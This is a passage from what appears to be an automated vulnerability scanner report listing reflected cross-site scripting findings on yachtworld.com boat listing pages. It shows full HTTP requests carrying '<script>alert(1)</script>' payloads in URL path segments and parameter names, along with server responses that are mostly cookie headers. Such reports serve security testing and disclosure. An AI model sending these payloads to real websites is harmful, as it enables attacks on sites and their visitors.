MD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:55 GMT Set-Cookie: VIEWED_BOATS_STORE=2300541%5B%25%5D32%27+Regulator+32+FS%5B%25%5DEUR%26nbsp%3B180%2C000%5B%25%5DSardegna+centro+orientale%2C+Italy%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F0%2F5%2F2300541_1_mini.jpg%3F1294838885000%5B%25%5D%2Fboats%2F2009%2FRegulator-32-FS-2300541%2FSardegna-centro-orientale%2FItaly%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec415"><script>alert(1)</script>4d7f969be73 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2009/Regulator-32-Fs-2300541/Sardegna-centro-orientale/Italyec415"><script>alert(1)</script>4d7f969be73 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:24 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 12 Jan 2011 13:33:54 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2300541%5B%25%5D32%27+Regulator+32+FS%5B%25%5DEUR%26nbsp%3B180%2C000%5B%25%5DSardegna+centro+orientale%2C+Italy%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F0%2F5%2F2300541_1_mini.jpg%3F1294838885000%5B%25%5D%2Fboats%2F2009%2FRegulator-32-FS-2300541%2FSardegna-centro-orientale%2FItaly%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:24 GMT Set-Cookie: VIEWED_BOATS_STORE=2300541%5B%25%5D32%27+Regulator+32+FS%5B%25%5DEUR%26nbsp%3B180%2C000%5B%25%5DSardegna+centro+orientale%2C+Italy%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F0%2F5%2F2300541_1_mini.jpg%3F1294838885000%5B%25%5D%2Fboats%2F2009%2FRegulator-32-FS-2300541%2FSardegna-centro-orientale%2FItaly%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.171. http://www.yachtworld.com/boats/2009/Regulator-32-Fs-2300541/Sardegna-centro-orientale/Italy [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cf47"><script>alert(1)</script>a585151a92c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2009/Regulator-32-Fs-2300541/Sardegna-centro-orientale/Italy?8cf47"><script>alert(1)</script>a585151a92c=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:26 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 12 Jan 2011 13:33:54 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2300541%5B%25%5D32%27+Regulator+32+FS%5B%25%5DEUR%26nbsp%3B180%2C000%5B%25%5DSardegna+centro+orientale%2C+Italy%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F0%2F5%2F2300541_1_mini.jpg%3F1294838885000%5B%25%5D%2Fboats%2F2009%2FRegulator-32-FS-2300541%2FSardegna-centro-orientale%2FItaly%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:25 GMT Set-Cookie: VIEWED_BOATS_STORE=2300541%5B%25%5D32%27+Regulator+32+FS%5B%25%5DEUR%26nbsp%3B180%2C000%5B%25%5DSardegna+centro+orientale%2C+Italy%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F0%2F5%2F2300541_1_mini.jpg%3F1294838885000%5B%25%5D%2Fboats%2F2009%2FRegulator-32-FS-2300541%2FSardegna-centro-orientale%2FItaly%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfba7"><script>alert(1)</script>dc9683fc492 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2010/Regulator-32fs-Center-Console-2293873/Brickdfba7"><script>alert(1)</script>dc9683fc492/NJ/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
